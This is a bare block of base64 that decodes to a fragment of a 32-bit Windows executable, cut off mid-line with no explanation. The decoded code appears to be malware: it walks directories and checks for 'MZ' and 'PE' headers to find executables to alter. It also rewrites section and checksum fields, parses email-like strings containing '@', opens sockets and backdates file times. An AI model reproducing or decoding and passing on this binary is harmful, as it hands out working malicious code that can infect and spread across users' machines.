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 